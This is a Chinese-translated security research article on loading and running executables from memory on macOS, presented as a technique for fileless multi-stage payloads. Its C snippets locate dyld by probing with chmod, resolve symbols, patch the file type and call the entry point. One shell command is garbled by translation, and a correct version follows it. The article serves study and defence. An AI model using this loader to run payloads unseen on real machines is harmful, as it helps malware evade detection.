在macOS內(nèi)存中運(yùn)行可執(zhí)行文件
作為一名安全研究員,我一直在研究惡意軟件攻擊設(shè)備時(shí)使用到的新興技術(shù)。雖然Windows是最常見(jiàn)的目標(biāo),但是對(duì)于macOS(以前稱為OS X),并不缺乏新興的技術(shù)。在這篇文章中,我將討論一些在macOS(直到Sierra)上執(zhí)行多級(jí)攻擊載荷的技術(shù)。
用于執(zhí)行多級(jí)攻擊載荷的常見(jiàn)技術(shù)是擁有一個(gè)可以從內(nèi)存中載入可執(zhí)行文件而不是從計(jì)算硬盤(pán)上載入的初始攻擊載荷,它可以降低被檢測(cè)的風(fēng)險(xiǎn)。一般來(lái)說(shuō),當(dāng)嘗試從macOS的內(nèi)存中加載代碼時(shí),第一步是找到動(dòng)態(tài)加載器dyld,以便于加載第二級(jí)攻擊載荷。一旦你在內(nèi)存中找到dyld,你可以解析它的Mach-O頭來(lái)定位函數(shù)NSCreateObjectFileImageFromMemory(創(chuàng)建一個(gè)NSObjectFileImage)和NSLinkModule(鏈接庫(kù)到當(dāng)前進(jìn)程和運(yùn)行構(gòu)造函數(shù))來(lái)加載可執(zhí)行文件。
深入了解dyld
你在MacOS執(zhí)行一個(gè)動(dòng)態(tài)鏈接的二進(jìn)制文件時(shí),內(nèi)核會(huì)做的第一件事就是從二進(jìn)制Mach-O的加載命令中檢索動(dòng)態(tài)加載器的位置,并加載它。因此,dyld是第一個(gè)被加載到進(jìn)程的地址空間的Mach-O。內(nèi)核通過(guò)二進(jìn)制文件的vmaddr和ASLR slide來(lái)確定dyld的候選地址。然后內(nèi)核將Mach-O的sections映射到第一個(gè)可用未分配的內(nèi)存地址中,內(nèi)存地址要大于或等于到候選地址。
如下所示,在Sierra之前的macOS版本中,dyld的vmaddr是0x7fff5fc00000(DYLD_BASE):
MacOS的10.10.5(Yosemite)
- $ otool -l /usr/lib/dyldx
- /usr/lib/dyld:
- Load command 0
- cmd LC_SEGMENT_64
- cmdsize 552
- segname __TEXT
- vmaddr 0x00007fff5fc00000
- ...
在內(nèi)存中定位dyld是很容易的; 從DYLD_BASE開(kāi)始搜索,找到的第一個(gè)Mach-O映像就是dyld。然后可以通過(guò)內(nèi)存中的dyld地址減去DYLD_BASE來(lái)計(jì)算用于dyld的ASLR slide。確定ASLR slide對(duì)于解析符號(hào)很重要,因?yàn)榉?hào)表的nlist_64結(jié)構(gòu)中的n_value包含需要被偏移的基地址。
在Sierra中,dyld變成了動(dòng)態(tài)映射(vmaddr為0):
macOS 10.12.2 (Sierra)
- $ otool -l /usr/lib/dyld
- /usr/lib/dyld:
- Mach header
- magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
- 0xfeedfacf 16777223 3 0x00 7 14 1696 0x00000085
- Load command 0
- cmd LC_SEGMENT_64
- cmdsize 552
- segname __TEXT
- vmaddr 0x0000000000000000
- ...
這意味著,現(xiàn)在,在內(nèi)存中已加載的可執(zhí)行映像相鄰處可以找到dyld,而不是DYLD_BASE中的第一個(gè)Mach-O映像。因?yàn)闆](méi)有固定的基地址,我們現(xiàn)在不能再輕松計(jì)算ASLR slide。幸運(yùn)的是,我們不再關(guān)心這個(gè)值,因?yàn)榉?hào)表的nlist_64結(jié)構(gòu)的n_value現(xiàn)在包含了從dyld開(kāi)始的偏移; 一旦你在內(nèi)存中找到dyld的地址,你可以解析它的符號(hào)。我們將在下面的解析符號(hào)部分詳細(xì)討論這一點(diǎn)。
dyld在內(nèi)存中的位置
那么我們?nèi)绾卧趦?nèi)存中搜索dyld呢?在地址空間中搜索特定映像的正確方法是遞歸地使用vm_region。然而,通過(guò)這種方法產(chǎn)生的shellcode是冗長(zhǎng)和繁瑣的。幸運(yùn)的是,有一個(gè)選擇; 如果我們發(fā)現(xiàn)一個(gè)系統(tǒng)調(diào)用,它接受一個(gè)指針并根據(jù)地址是否被映射返回不同的返回值,我們可以使用它。chmod系統(tǒng)調(diào)用就是這樣。
如果路徑指針在進(jìn)程分配的地址空間的之外,chmod返回EFAULT; 如果路徑不存在,則返回ENOENT。因此,我們可以使用以下函數(shù)來(lái)找到dyld:
- int find_macho(unsigned long addr, unsigned long *base) {
- *base = 0;
- while(1) {
- chmod((char *)addr, 0777);
- if(errno == 2 && /*ENOENT*/
- ((int *)addr)[0] == 0xfeedfacf /*MH_MAGIC_64*/) {
- *base = addr;
- return 0;
- }
- addr += 0x1000;
- }
- return 1;
- }
在Sierra之前的macOS版本中,可以這樣做:
- unsigned long dyld;
- if(find_macho(DYLD_START, &dyld)) return
在Sierra,我們必須調(diào)用find_macho兩次:一次找到已加載的二進(jìn)制,一次找到dyld:
- unsigned long binary, dyld;
- if(find_macho(EXECUTABLE_BASE_ADDR, &binary)) return 1;
- if(find_macho(binary + 0x1000, &dyld)) return 1;
解析符號(hào)
找到dyld的字符串表可以通過(guò)解析其加載命令,并使用以下代碼(基址是內(nèi)存中的dyld地址)查找符號(hào)表以及內(nèi)存中的linkedit和text segments 來(lái)完成:
- lc = (struct load_command *)(base + sizeof(struct mach_header_64));
- for(int i=0; i<((struct mach_header_64 *)base)->ncmds; i++) {
- if(lc->cmd == 0x2/*LC_SYMTAB*/) {
- symtab = (struct symtab_command *)lc;
- } else if(lc->cmd == 0x19/*LC_SEGMENT_64*/) {
- switch(*((unsigned int *)&sc->segname[2])) { //skip __
- case 0x4b4e494c: //LINK
- linkedit = (struct segment_command_64 *)lc;
- break;
- case 0x54584554: //TEXT
- text = (struct segment_command_64 *)lc;
- break;
- }
- }
- lc = (struct load_command *)((unsigned long)lc + lc->cmdsize);
- }
上面的代碼略過(guò)內(nèi)存中的mach_header_64結(jié)構(gòu),然后遍歷各種加載命令結(jié)構(gòu)。我們保存LC_SYMTAB的地址和與__LINKEDIT和__TEXT段相關(guān)的兩個(gè)LC_SEGMENT_64命令。使用指向這些結(jié)構(gòu)體的指針,我們現(xiàn)在可以計(jì)算內(nèi)存中的字符串表的地址:
- unsigned long file_slide = linkedit-> vmaddr - text-> vmaddr - linkedit-> fileoff;
- strtab =(char *)(base + file_slide + symtab-> stroff);
要遍歷字符串表,我們需要遍歷符號(hào)表的nlist_64結(jié)構(gòu)。每個(gè)nlist_64結(jié)構(gòu)體包含一個(gè)到字符串表(n_un.n_strx)的偏移量:
- char * name = strtab + nl [i] .n_un.n_strx;
并不是使用傳統(tǒng)的哈希算法來(lái)匹配字符串表中的符號(hào)名,我寫(xiě)了一個(gè)幫助腳本(symbolyzer.py)生成唯一offset/ int對(duì),通過(guò)以下方式識(shí)別:
- $ nm / usr / lib / dyld | cut -d“”-f3 | 排序| uniq | 蟒蛇symbolyzer.py
- $ nm /usr/lib/dyld | cut -d" " -f3 | sort | uniq | python symbolyzer.py
- ...
- _NSCreateObjectFileImageFromFile[25] = 0x466d6f72
- ...
symbolyzer.py的代碼(https://github.com/CylanceVulnResearch/osx_runbin/blob/master/symbolyzer.py)可以在GitHub上找到這里。
正如你可以看到,NSCreateFileImageFromMemory的offset / int對(duì)是25&0x466d6f72。這意味著如果我們字符串表中的給定字符串索引為25,并且它等于0x466d6f72,則我們發(fā)現(xiàn)了一個(gè)匹配。在我們的匹配對(duì)中包含一個(gè)邏輯終止符NULL就可以匹配所有符號(hào)字符串。
加載可執(zhí)行文件
在MacOS的內(nèi)存中加載代碼的最常見(jiàn)的方法就是在macOS bundle上調(diào)用NSCreateObjectFileImageFromMemory,隨后調(diào)用NSLinkModule,然后調(diào)用NSAddressOfSymbol來(lái)查找已知函數(shù)。 “The Mac Hacker's Handbook”中為NSLinkModule指出:“目前的實(shí)現(xiàn)僅限用于插件的Mach-O MH_BUNDLE類型。” dyld的頭文件進(jìn)一步說(shuō)明“NSObjectFileImage只能用于MH_BUNDLE文件”。經(jīng)過(guò)快速證實(shí),這是真的; 如果文件類型的mach_header_64結(jié)構(gòu)不是MH_BUNDLE(0x8),NSCreateObjectFileImageFromMemory會(huì)失敗。幸運(yùn)的是,使用以下兩行代碼可以很容易改變結(jié)構(gòu)的文件類型:
- int type = ((int *)binbuf)[3];
- if(type != 0x8) ((int *)binbuf)[3] = 0x8; //change to mh_bundle type
然后我們可以在Mach-O映象內(nèi)解析NSLinkModule返回的NSModule對(duì)象來(lái)找到入口點(diǎn); 在Sierra中,Mach-O映象從偏移0x48變?yōu)?x50。通過(guò)迭代該映像的加載命令,我們可以找到LC_MAIN命令并獲取入口點(diǎn)的偏移量。只需將此偏移量添加到Mach-O基址中即可得到入口點(diǎn):
- unsigned long execute_base = *(unsigned long *)((unsigned long)nm + 0x50);
- struct entry_point_command *epc;
- if(find_epc(execute_base, &epc)) { //loops over commands and finds LC_MAIN
- fprintf(stderr, "Could not find entry point command.\n");
- goto err;
- }
- int(*main)(int, char**, char**, char**) = (int(*)(int, char**, char**, char**))(execute_base+ epc->entryoff);
- char *argv[]={"test", NULL};
- int argc = 1;
- char *env[] = {NULL};
- char *apple[] = {NULL};
- return main(argc, argv, env, apple);
這篇文章的所有的POC代碼(https://github.com/CylanceVulnResearch/osx_runbin)都可以在GitHub上找到。
1. http://phrack.org/issues/64/11.html
3. https://lowlevelbits.org/parsing-mach-o-files/
4. https://www.mikeash.com/pyblog/friday-qa-2012-11-09-dyld-dynamic-linking-on-os-x.html
5. https://opensource.apple.com/source/xnu/xnu-2782.1.97/bsd/kern/kern_exec.c
6. https://developer.apple.com/legacy/library/documentation/Darwin/Reference/ManPages/man2/chmod.2.html
7. https://www.amazon.com/Mac-Hackers-Handbook-Charlie-Miller/dp/0470395362
8. https://opensource.apple.com/source/cctools/cctools-384.1/man/NSModule.3.auto.html